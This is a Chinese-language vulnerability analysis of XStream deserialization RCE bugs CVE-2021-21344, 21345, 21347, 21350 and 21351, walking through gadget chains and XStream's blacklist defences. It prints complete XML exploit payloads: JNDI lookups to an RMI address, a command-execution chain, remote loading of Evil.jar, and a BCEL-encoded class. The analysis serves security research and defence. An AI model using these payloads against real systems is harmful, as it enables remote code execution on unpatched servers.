Xstream反序列化远程代码执行漏洞深入分析

0. 前言

Xstream是java中一个使用比较广泛的XML序列化组件，本文以近期Xstream爆出的几个高危RCE漏洞为案例，对Xstream进行分析，同时对POC的构成原理进行讲解

1. Xstream简介

XStream是一个简单的基于Java库，Java对象序列化到XML，反之亦然(即：可以轻易的将Java对象和xml文档相互转换)。

Xstream具有以下优点

• 使用方便 - XStream的API提供了一个高层次外观，以简化常用的用例。

• 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化。

• 性能 - XStream快速和低内存占用，适合于大对象图或系统。

• 干净的XML - XStream创建一个干净和紧凑XML结果，这很容易阅读。

• 不需要修改对象 - XStream可序列化的内部字段，如私有和最终字段，支持非公有制和内部类。默认构造函数不是强制性的要求。

• 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用，并支持循环引用。

• 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册。

• 安全框架 - XStream提供了一个公平控制有关解组的类型，以防止操纵输入安全问题。

• 错误消息 - 出现异常是由于格式不正确的XML时，XStream抛出一个统一的例外，提供了详细的诊断，以解决这个问题。

• 另一种输出格式 - XStream支持其它的输出格式，如JSON。

下面通过一个小案例来演示Xstream如何将java对象序列化成xml数据

首先是两个简单的pojo类，都实现了Serializable接口并且重写了readObject方法

import java.io.IOException;
import java.io.Serializable;
​
public class People implements Serializable{
  private String name;
  private int age;
  private Company workCompany;
​
  public People(String name, int age, Company workCompany) {
      this.name = name;
      this.age = age;
      this.workCompany = workCompany;
  }
​
  public String getName() {
      return name;
  }
​
  public void setName(String name) {
      this.name = name;
  }
​
  public int getAge() {
      return age;
  }
​
  public void setAge(int age) {
      this.age = age;
  }
​
  public Company getWorkCompany() {
      return workCompany;
  }
​
  public void setWorkCompany(Company workCompany) {
      this.workCompany = workCompany;
  }
​
  private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
      s.defaultReadObject();
      System.out.println("Read People");
  }
}

public class Company implements Serializable {
  private String companyName;
  private String companyLocation;
​
  public Company(String companyName, String companyLocation) {
      this.companyName = companyName;
      this.companyLocation = companyLocation;
  }
​
  public String getCompanyName() {
      return companyName;
  }
​
  public void setCompanyName(String companyName) {
      this.companyName = companyName;
  }
​
  public String getCompanyLocation() {
      return companyLocation;
  }
​
  public void setCompanyLocation(String companyLocation) {
      this.companyLocation = companyLocation;
  }
​
  private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
      s.defaultReadObject();
      System.out.println("Company");
  }
}

然后生成一个People对象，并使用Xstream对其进行序列化

XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);
System.out.println(xml);

最后的执行结果如下

<com.XstreamTest.People serialization="custom">
<com.XstreamTest.People>
  <default>
    <age>25</age>
    <name>xiaoming</name>
    <workCompany serialization="custom">
      <com.XstreamTest.Company>
        <default>
          <companyLocation>BeiJing</companyLocation>
          <companyName>TopSec</companyName>
        </default>
      </com.XstreamTest.Company>
    </workCompany>
  </default>
</com.XstreamTest.People>
</com.XstreamTest.People>

如果两个pojo类没有实现Serializable接口则序列化后的数据是以下这个样子

<com.XstreamTest.People>
<name>xiaoming</name>
<age>25</age>
<workCompany>
  <companyName>TopSec</companyName>
  <companyLocation>BeiJing</companyLocation>
</workCompany>
</com.XstreamTest.People>

看到这里，有些同学可能就意识到了，Xstream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时，方法是不一样的。

在TreeUnmarshaller类的convertAnother方法处下断点，如下图所示

这里会获取一个converter，中文直译为转换器，Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据，我们跟进该方法看看在处理最外层的没有实现Serializable接口的People类时用的是哪种converter

从执行的结果中可以看到最终返回一个ReflectionConverter，当然不同的类型在这里会返回不同的Converter，这里仅仅只是处理我们自定义的未实现Serializable接口的People类时使用ReflectionConverter，该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值，那如过是处理实现了Serializable接口并且重写了readObject方法的People类时会有什么不一样呢？

更换序列化后的数据，在同样的位置打上断点，会发现这里处理People的Converter由ReflectionConverter变成了，SerializableConverter。

这是我们尝试在People类的readObject类处打上断点

会发现执行过程中居然调用了我们重写的readObject方法，此时的调用链如下

既然会调用readObject方法的话，那此时我们的思路应该就很清晰了，只需要找到一条利用链，就可以尝试进行反序列化攻击了

2. CVE-2021-21344

下面是漏洞相关POC

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
  <default>
    <size>2</size>
    <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
      <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
        <packet>
          <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
            <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
              <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                  <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                    <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                    <uriProperties/>
                    <attributeProperties/>
                    <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                      <getter>
                        <class>com.sun.rowset.JdbcRowSetImpl</class>
                        <name>getDatabaseMetaData</name>
                        <parameter-types/>
                      </getter>
                    </inheritedAttWildcard>
                  </bi>
                  <tagName/>
                  <context>
                    <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                      <outer-class reference='../..'/>
                    </marshallerPool>
                    <nameList>
                      <nsUriCannotBeDefaulted>
                        <boolean>true</boolean>
                      </nsUriCannotBeDefaulted>
                      <namespaceURIs>
                        <string>1</string>
                      </namespaceURIs>
                      <localNames>
                        <string>UTF-8</string>
                      </localNames>
                    </nameList>
                  </context>
                </bridge>
              </bridge>
              <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                <javax.sql.rowset.BaseRowSet>
                  <default>
                    <concurrency>1008</concurrency>
                    <escapeProcessing>true</escapeProcessing>
                    <fetchDir>1000</fetchDir>
                    <fetchSize>0</fetchSize>
                    <isolation>2</isolation>
                    <maxFieldSize>0</maxFieldSize>
                    <maxRows>0</maxRows>
                    <queryTimeout>0</queryTimeout>
                    <readOnly>true</readOnly>
                    <rowSetType>1004</rowSetType>
                    <showDeleted>false</showDeleted>
                    <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                    <params/>
                  </default>
                </javax.sql.rowset.BaseRowSet>
                <com.sun.rowset.JdbcRowSetImpl>
                  <default>
                    <iMatchColumns>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                      <int>-1</int>
                    </iMatchColumns>
                    <strMatchColumns>
                      <string>foo</string>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                      <null/>
                    </strMatchColumns>
                  </default>
                </com.sun.rowset.JdbcRowSetImpl>
              </jaxbObject>
            </dataSource>
          </message>
          <satellites/>
          <invocationProperties/>
        </packet>
      </indexMap>
    </comparator>
  </default>
  <int>3</int>
  <string>javax.xml.ws.binding.attachments.inbound</string>
  <string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

不难看出最外层封装的类是PriorityQueue，PriorityQueue是实现了Serializable接口并且重写了readObject方法的这点从POC中PriorityQueue的标签上也看得出，结合我们之前对XStream的分析 这次我们直接在PriorityQueued的readObject方法中打上断点。

研究过java反序列化的同学对PriorityQueue这个类肯定不会陌生，经典的CommonCollections利用链中有几个就用到了PriorityQueue，放一下此刻的调用链。

然后我们跟进heapify()方法，

经过一些调试来到了PriorityQueue类的siftDownUsingComparator方法中如下图所示。

这里调用了PriorityQueue类中存储在comparator属性中的对象的compare方法，这时我们回过头来再去看一下POC

我们可以很直观的从XStream序列化的数据中看到PriorityQueue类的comparator属性中存储的是一个sun.awt.datatransfer.DataTransferer$IndexOrderComparator类型的对象 也就是说接下来会调用DataTransferer$IndexOrderComparator对象的compare方法。

剩下的过程就是一系列的嵌套调用，最终会执行到com.sun.rowset.JdbcRowSetImpl的getDatabaseMetaData中，并最终在JdbcRowSetImpl的connect方法中通过JNDI去lookup事先封装在JdbcRowSetImpl的dataSource中的恶意地址

最后贴一下调用栈

CVE-2021-21344分析至此完毕。

2. CVE-2021-21345

先粘贴一下cve-2021-21345的poc

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
  <default>
    <size>2</size>
    <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
      <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
        <packet>
          <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
            <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
              <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                  <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                    <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                    <uriProperties/>
                    <attributeProperties/>
                    <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                      <getter>
                        <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                        <name>verify</name>
                        <parameter-types/>
                      </getter>
                    </inheritedAttWildcard>
                  </bi>
                  <tagName/>
                  <context>
                    <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                      <outer-class reference='../..'/>
                    </marshallerPool>
                    <nameList>
                      <nsUriCannotBeDefaulted>
                        <boolean>true</boolean>
                      </nsUriCannotBeDefaulted>
                      <namespaceURIs>
                        <string>1</string>
                      </namespaceURIs>
                      <localNames>
                        <string>UTF-8</string>
                      </localNames>
                    </nameList>
                  </context>
                </bridge>
              </bridge>
              <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                <activationCmd>open /Applications/Calculator.app</activationCmd>
              </jaxbObject>
            </dataSource>
          </message>
          <satellites/>
          <invocationProperties/>
        </packet>
      </indexMap>
    </comparator>
  </default>
  <int>3</int>
  <string>javax.xml.ws.binding.attachments.inbound</string>
  <string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

可以看到21345的利用链较之21344的利用链来说变化不大，唯一的不同点在于执行代码的位置不再使用JdbcRowSetImpl去远程加载恶意类来到本地执行恶意代码，而是使用com.sun.corba.se.impl.activation.ServerTableEntry类直接在本地执行恶意代码，从利用的复杂度上来和21344做比较的话无疑是简单的不少，既然整个利用链中变化的只有这一处，那就单分析这个类就可以了，将断点直接打在ServerTableEntry类的verify方法上。

这里直接将activationCmd属性中的值作为参数调用Runtime.exec来进行执行，而activationCmd在序列化的数据中就已经被我们自定义了值。

由于调用栈和CVE-2021-21344基本一样所以就不再重复粘贴的，至此CVE-2021-21345分析完毕

3. CVE-2021-21347

首先先看下POC

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
  <default>
    <size>2</size>
    <comparator class='javafx.collections.ObservableList$1'/>
  </default>
  <int>3</int>
  <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <dataHandler>
      <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
        <contentType>text/plain</contentType>
        <is class='java.io.SequenceInputStream'>
          <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
            <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
              <names class='java.util.AbstractList$Itr'>
                <cursor>0</cursor>
                <lastRet>-1</lastRet>
                <expectedModCount>0</expectedModCount>
                <outer-class class='java.util.Arrays$ArrayList'>
                  <a class='string-array'>
                    <string>Evil</string>
                  </a>
                </outer-class>
              </names>
              <processorCL class='java.net.URLClassLoader'>
                <ucp class='sun.misc.URLClassPath'>
                  <urls serialization='custom'>
                    <unserializable-parents/>
                    <vector>
                      <default>
                        <capacityIncrement>0</capacityIncrement>
                        <elementCount>1</elementCount>
                        <elementData>
                          <url>http://127.0.0.1:80/Evil.jar</url>
                        </elementData>
                      </default>
                    </vector>
                  </urls>
                  <path>
                    <url>http://127.0.0.1:80/Evil.jar</url>
                  </path>
                  <loaders/>
                  <lmap/>
                </ucp>
                <package2certs class='concurrent-hash-map'/>
                <classes/>
                <defaultDomain>
                  <classloader class='java.net.URLClassLoader' reference='../..'/>
                  <principals/>
                  <hasAllPerm>false</hasAllPerm>
                  <staticPermissions>false</staticPermissions>
                  <key>
                    <outer-class reference='../..'/>
                  </key>
                </defaultDomain>
                <initialized>true</initialized>
                <pdcache/>
              </processorCL>
            </iterator>
            <type>KEYS</type>
          </e>
          <in class='java.io.ByteArrayInputStream'>
            <buf></buf>
            <pos>-2147483648</pos>
            <mark>0</mark>
            <count>0</count>
          </in>
        </is>
        <consumed>false</consumed>
      </dataSource>
      <transferFlavors/>
    </dataHandler>
    <dataLen>0</dataLen>
  </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
  <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

可以看到这个漏洞的利用链就和之前两个大不相同了，并且在分析该漏洞的时候也踩了一些坑，在这里也和大家详细说明一下

这里我先用jdk 1.8.20版本来复现这个漏洞，然而执行的时候却返回以下错误

一开始没太明白这里是出了什么问题 先是跟着报错信息中提示的路径去看了一下，发现是在反序列化PriorityQueue的comparator属性的时候出现了问题。

经过一段跟踪调试，跟踪到类加载的地方发现根本找不到这个ObservableList$1的对象，从这个名字带有$1不难看出，这是一个匿名内部类对象，此时我们先去ObservableList这个类中去查看一下，然后发现ObservableList是一个接口类型，源码如下

public interface ObservableList<E> extends List<E>, Observable {
​
  public void addListener(ListChangeListener<? super E> listener);
​
  public void removeListener(ListChangeListener<? super E> listener);
​
  public boolean addAll(E... elements);
​
  public boolean setAll(E... elements);
​
  public boolean setAll(Collection<? extends E> col);
​
  public boolean removeAll(E... elements);
​
  public boolean retainAll(E... elements);
​
​
  public void remove(int from, int to);
​
  public default FilteredList<E> filtered(Predicate<E> predicate) {
      return new FilteredList<>(this, predicate);
  }
​
  public default SortedList<E> sorted(Comparator<E> comparator) {
      return new SortedList<>(this, comparator);
  }
​
  public default SortedList<E> sorted() {
      return sorted(null);
  }
}

发现根本就没有什么匿名内部类，此时分析陷入了僵局，然后经过该漏洞的作者threedr3am师傅的指导，尝试更换了下JDK的版本，将JDK版本更换为1.8.131版本后ObservableList的源码发生了变化。这里只粘贴关键的代码。

public default SortedList<E> sorted(Comparator<E> comparator) {
  return new SortedList<>(this, comparator);
}
​
/**
* Creates a {@link SortedList} wrapper of this list with the natural
* ordering.
* @return new {@code SortedList}
* @since JavaFX 8.0
*/
public default SortedList<E> sorted() {
  Comparator naturalOrder = new Comparator<E>() {
​
      @Override
      public int compare(E o1, E o2) {
          if (o1 == null && o2 == null) {
              return 0;
          }
          if (o1 == null) {
              return -1;
          }
          if (o2 == null) {
              return 1;
          }
​
          if (o1 instanceof Comparable) {
              return ((Comparable) o1).compareTo(o2);
          }
​
          return Collator.getInstance().compare(o1.toString(), o2.toString());
      }
  };
  return sorted(naturalOrder);
}

可以看到sorted()方法里面多了一个Comparator类型的匿名内部类对象，而这个就是我们反序列化是POC中的那个ObservableList$1，这里写一个简单的例子验证一下

该漏洞利用的时候对JDK的版本有一定的限制，

接下来开始继续分析，然后当我用JDK1.8.131再次运行的时候又爆了另一个错误

这里提示找不到 java.security.ProtectionDomain$Key.outer-class这个属性，然后经过一段让人头秃的调试后终于搞明白了其中缘由。

首先着重看一下出现问题的POC的位置

导致报错的就是这个outer-class标签，报错的原因是反序列化的时候找不到这个outer-class属性，我们来到对应的类也就是ProtectionDomain$Key这个类中查看一下

发现key是一个静态内部类。

接下来我们要搞明白，就XStream在什么情况下在序列化的数据中出现这个outer-class标签，这里进行一个简单的实验

class Foo {
  private String foocontent;
  private Bar bar;
​
  public String getFoocontent() {
      return foocontent;
  }
​
  public void setFoocontent(String foocontent) {
      this.foocontent = foocontent;
  }
​
  public Bar getBar() {
      return bar;
  }
​
  public void setBar(Bar bar) {
      this.bar = bar;
  }
  
  class Bar {
      private String blabla;
​
      public String getBlabla() {
          return blabla;
      }
​
      public void setBlabla(String blabla) {
          this.blabla = blabla;
      }
​
  }
​
}

这里有两个类，一个是Foo类，另一个Bar是一个成员内部类，这里Foo有一个属性bar用来存储一个Bar类型的数据。接下来我们实例化一下这个类，然后对其属性进行赋值，并用XStream对其进行序列化。

  public static void main(String[] args) {
      Foo foo = new Foo();
      Bar bar = foo.new Bar();
      bar.setBlabla("hello");
      foo.setBar(bar);
      XStream xstream = new XStream();
      String xml = xstream.toXML(foo);
      System.out.println(xml);
  }

查看执行结果

当引用了自己的成员内部类时，XStream就会通过outer-class来进行标识。在回过去看poc就可以理解这里表示的意思是Key作为一个成员内部类被ProtectionDomain引用，但是在jdk1.8.131中ProtectionDomain$Key是一个静态内部类呀，静态内部类XStream序列化的时候是不会通过<outer-class>标签进行标识的

介于之前菜的坑，我又将jdk版本更换到1.8.221版本此时再看ProtectionDomain$Key这个类，可以看到在1.8.221版本的jdk中，Key已经从静态内部来改成一个成员内部类了，此时在运行POC就不会报找不到outer-class的错误了。

当然既然在jdk1.8.131版本中Key时静态内部类，那我们也可以直接通过在POC中删除<outer-class>这个标签来避免这个报错。

不过虽然时不报错了，但是我们还是没搞清楚这个outer-class究竟为什么会有这条属性，这里引用一篇文章java非静态内部类中的属性this$0

接着用我们写的Demo中的Foo类和它的成员内部类Bar类来进行讲解，在Foo$Bar对象生成过后我打一个断点

这里有一个变量名为this$0的一个变量，仔细观察他的类型，发现是一个Foo类型的，也就是说他是Foo这个最外层的类对象，还记得学习java基础的时候在学习内部类的时候学过的一个知识点，就是内部类可以直接使用外部类的公有或私有变量，而外部类却不能直接使用内部类的变量，就是因为内部类会在编译时就加入一个外部类作为变量。

搞明白了这一点后我们就继续分析gadget

同样的PriorityQueue部分就不再重复讲解了，只贴一下调用链

我们从ObsevableList$1这个匿名内部类开始讲起，我们来看下这个匿名内部类的实现

这里 o1和o2是同一个Base64Data对象，目的调用Base64Data.toString方法，跟入查看toString方法详情

toString方法中调用了Base64Data.get方法，继续跟入，在get方法中调用了ByteArrayOutputStreamEx.readFrom()方法，而传入的参数则是一个SequenceInputStream对象。

这里先粘贴一下此时整个Base64Data对象的封装情况。

跟入ByteArrayOutputStreamEx.readFrom()方法，经过几次嵌套调用后，来到了SequenceInputStream.nextStream()方法中，这里的关键是调用了属性e，也就是POC中就封装进去的MultiUIDefaults$MultiUIDefaultsEnumerator对象的hasMoreElements()方法

继续跟进，就会看到调用了JavacProcessingEnvironment$NameProcessIterator.hasNext()方法

当跟入到hasNext()方法方法后可以看到该方法中的关键点在于，调用processorCL的loadClass方法

我们直接从POC中来查看processorCL就是封装进去的URLClassLoader对象，而var1就是封装入names属性中的Arrays$ArrayList对象中存储的字符串也就是恶意类的名字。

接下来的步骤就是通过URLClassloader去远程加载恶意类到本地 然后执行静态代码块中的恶意代码从而导致RCE，这个过程就不进行深入赘述了，至此CVE-2021-21347漏洞分析完毕

4. CVE-2021-21350

粘贴一下POC

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
  <default>
    <size>2</size>
    <comparator class='javafx.collections.ObservableList$1'/>
  </default>
  <int>3</int>
  <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <dataHandler>
      <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
        <contentType>text/plain</contentType>
        <is class='java.io.SequenceInputStream'>
          <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
            <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
              <names class='java.util.AbstractList$Itr'>
                <cursor>0</cursor>
                <lastRet>-1</lastRet>
                <expectedModCount>0</expectedModCount>
                <outer-class class='java.util.Arrays$ArrayList'>
                  <a class='string-array'>
                    <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$f5Et$cf$fb$B$v$rO$f9$3c$e8$f1H$g$fe$xZ$faI$c6T$c3kOd$d0bp$daS_$8c$b5Talc$8bxW$r$91$_$ae$a41$e7$8c$e9d$c8$t$dc$85$8d$ac$8dm$X$3b$d8$a5$d2j$y$c2$da1$afQ$D$3f$J$b8V$91$8b$3d$ecS$7d$Ta$u$98P3$e0$e1$a0$d9$e9$P$85$af$Z$ca3I$aa$e6ug$de$93$a1$f8g$bcKB$zG$d4$d6$Z$I$3d$t$95z$c3$fb$e7$a1$83$5bb$w$7c$86$c3$fa$c2nWG2$i$b4$W$D$b7$91$f2E$i$b7p$80$rzQ3$YM$ba$NR$c8$R$bb$md$84$xG$af$60oH$95$d2$_$b0$k$9eII$c11$3a$d2$f4$cd$c2$ow$9e$94eb$eeO$820$3fC$d0$$$fd$BZ$85Y$ae$f8$N$93$85$cf$5c$c7$B$A$A</string>
                  </a>
                </outer-class>
              </names>
              <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
                <parent class='sun.misc.Launcher$ExtClassLoader'>
                </parent>
                <package2certs class='hashtable'/>
                <classes defined-in='java.lang.ClassLoader'/>
                <defaultDomain>
                  <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
                  <principals/>
                  <hasAllPerm>false</hasAllPerm>
                  <staticPermissions>false</staticPermissions>
                  <key>
                    <outer-class reference='../..'/>
                  </key>
                </defaultDomain>
                <packages/>
                <nativeLibraries/>
                <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
                <defaultAssertionStatus>false</defaultAssertionStatus>
                <classes/>
                <ignored__packages>
                  <string>java.</string>
                  <string>javax.</string>
                  <string>sun.</string>
                </ignored__packages>
                <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
                  <__path>
                    <paths/>
                    <class__path>.</class__path>
                  </__path>
                  <__loadedClasses/>
                </repository>
                <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
              </processorCL>
            </iterator>
            <type>KEYS</type>
          </e>
          <in class='java.io.ByteArrayInputStream'>
            <buf></buf>
            <pos>0</pos>
            <mark>0</mark>
            <count>0</count>
          </in>
        </is>
        <consumed>false</consumed>
      </dataSource>
      <transferFlavors/>
    </dataHandler>
    <dataLen>0</dataLen>
  </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
  <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

该漏洞的整个利用链和CVE-2021-21345如出一辙，不同的地方在于，最后的加载恶意Class的Classloader不再使用URLClassloader去远程加载，而是采用了com.sun.org.apache.bcel.internal.util.ClassLoader，这里相信对FastJson有了解的同学应该不陌生，这里使用了BCEL的方式来进行恶意代码执行

但是整个利用链和CVE-2021-21347是一样的，所以这里也就不重复赘述了。

5. CVE-2021-21351

粘贴一下POC

<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
  <type>ysomap</type>
  <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
    <m__DTMXRTreeFrag>
      <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
        <m__size>-10086</m__size>
        <m__mgrDefault>
          <__overrideDefaultParser>false</__overrideDefaultParser>
          <m__incremental>false</m__incremental>
          <m__source__location>false</m__source__location>
          <m__dtms>
            <null/>
          </m__dtms>
          <m__defaultHandler/>
        </m__mgrDefault>
        <m__shouldStripWS>false</m__shouldStripWS>
        <m__indexing>false</m__indexing>
        <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
          <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
            <javax.sql.rowset.BaseRowSet>
              <default>
                <concurrency>1008</concurrency>
                <escapeProcessing>true</escapeProcessing>
                <fetchDir>1000</fetchDir>
                <fetchSize>0</fetchSize>
                <isolation>2</isolation>
                <maxFieldSize>0</maxFieldSize>
                <maxRows>0</maxRows>
                <queryTimeout>0</queryTimeout>
                <readOnly>true</readOnly>
                <rowSetType>1004</rowSetType>
                <showDeleted>false</showDeleted>
                <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                <listeners/>
                <params/>
              </default>
            </javax.sql.rowset.BaseRowSet>
            <com.sun.rowset.JdbcRowSetImpl>
              <default/>
            </com.sun.rowset.JdbcRowSetImpl>
          </fPullParserConfig>
          <fConfigSetInput>
            <class>com.sun.rowset.JdbcRowSetImpl</class>
            <name>setAutoCommit</name>
            <parameter-types>
              <class>boolean</class>
            </parameter-types>
          </fConfigSetInput>
          <fConfigParse reference='../fConfigSetInput'/>
          <fParseInProgress>false</fParseInProgress>
        </m__incrementalSAXSource>
        <m__walker>
          <nextIsRaw>false</nextIsRaw>
        </m__walker>
        <m__endDocumentOccured>false</m__endDocumentOccured>
        <m__idAttributes/>
        <m__textPendingStart>-1</m__textPendingStart>
        <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
        <m__pastFirstElement>false</m__pastFirstElement>
      </m__dtm>
      <m__dtmIdentity>1</m__dtmIdentity>
    </m__DTMXRTreeFrag>
    <m__dtmRoot>1</m__dtmRoot>
    <m__allowRelease>false</m__allowRelease>
  </value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
  <type>ysomap</type>
  <value class='com.sun.org.apache.xpath.internal.objects.XString'>
    <m__obj class='string'>test</m__obj>
  </value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

这次用到的gadget入口点为javax.naming.ldap.Rdn$RdnEntry，在使用该POC之前仍然有一个点是需要注意的，/ <__overrideDefaultParser>这个标签在低版本的jdk中是没有的，需要进行更换。

更换成以下标签。

接下来就用jdk1.8.20为例，来进行分析。首先在POC中我们可以直观的看到，有两个Rdn$RdnEntry的序列化数据，最外层的触发点是Rdn$RdnEntry.compareTo方法，该方法是对比两个Rdn$RdnEntry的value属性是否相同。

当前对象的value属性是一个Xstring对象，在POC中的这个位置。

所以跟进Xstring.equals方法，该方法中需要注意的是调用了obj2 也就是传入的XRTreeFrag.toString方法，跟进该方法

经过一次嵌套调用后，来到XRTreeFrag.str方法中 这里调用了之前就封装在POC中的SAX2DTM对象，如下图所示

跟入SAX2DTM.getStringValue方法，经过两次嵌套调用后，来到了SAX2DTM.nextNode方法中，该方法中需要注意的是调用了m_incrementalSAXSource属性也就是POC中封装好的IncrementalSAXSource_Xerces对象的deliverMoreNodes方法。

继续向下执行，最终会执行到IncrementalSAXSource_Xerces.parseSome方法，该方法会通过反射调用JdbcRowSetImpl.setAutoCommit方法。

接下来的流程就还是JdbcRowSetImpl的老一套了，就不再深入说明了。至此CVE-2021-21351分析完毕

6. 总结

此次爆出的几个反序列化RCE漏洞，总结下漏洞的触发点分别为“java.util.PriorityQueue.compare()“、“javax.naming.ldap.Rdn$RdnEntry.compareTo()”、而Xstream的防护方法也是很直白是通过黑名单的形式来进行防护。

下面是1.4.15版本的黑名单

protected void setupSecurity() {
  if (securityMapper == null) {
      return;
  }
​
  addPermission(AnyTypePermission.ANY);
  denyTypes(new String[]{
      "java.beans.EventHandler", //
      "java.lang.ProcessBuilder", //
      "javax.imageio.ImageIO$ContainsFilter", //
      "jdk.nashorn.internal.objects.NativeString" });
  denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO, JAXWS_FILE_STREAM});
  allowTypeHierarchy(Exception.class);
  securityInitialized = false;
}

然后是1.4.16版本的黑名单

private static final String ANNOTATION_MAPPER_TYPE = "com.thoughtworks.xstream.mapper.AnnotationMapper";
  private static final Pattern IGNORE_ALL = Pattern.compile(".*");
  private static final Pattern GETTER_SETTER_REFLECTION = Pattern.compile(".*//$GetterSetterReflection");
  private static final Pattern PRIVILEGED_GETTER = Pattern.compile(".*//$PrivilegedGetter");
  private static final Pattern LAZY_ITERATORS = Pattern.compile(".*//$LazyIterator");
  private static final Pattern JAXWS_ITERATORS = Pattern.compile(".*//$ServiceNameIterator");
  private static final Pattern JAVAFX_OBSERVABLE_LIST__ = Pattern.compile("javafx//.collections//.ObservableList//$.*");
  private static final Pattern JAVAX_CRYPTO = Pattern.compile("javax//.crypto//..*");
  private static final Pattern BCEL_CL = Pattern.compile(".*//.bcel//..*//.util//.ClassLoader");
​
......

protected void setupSecurity() {
  if (this.securityMapper != null) {
      this.addPermission(AnyTypePermission.ANY);
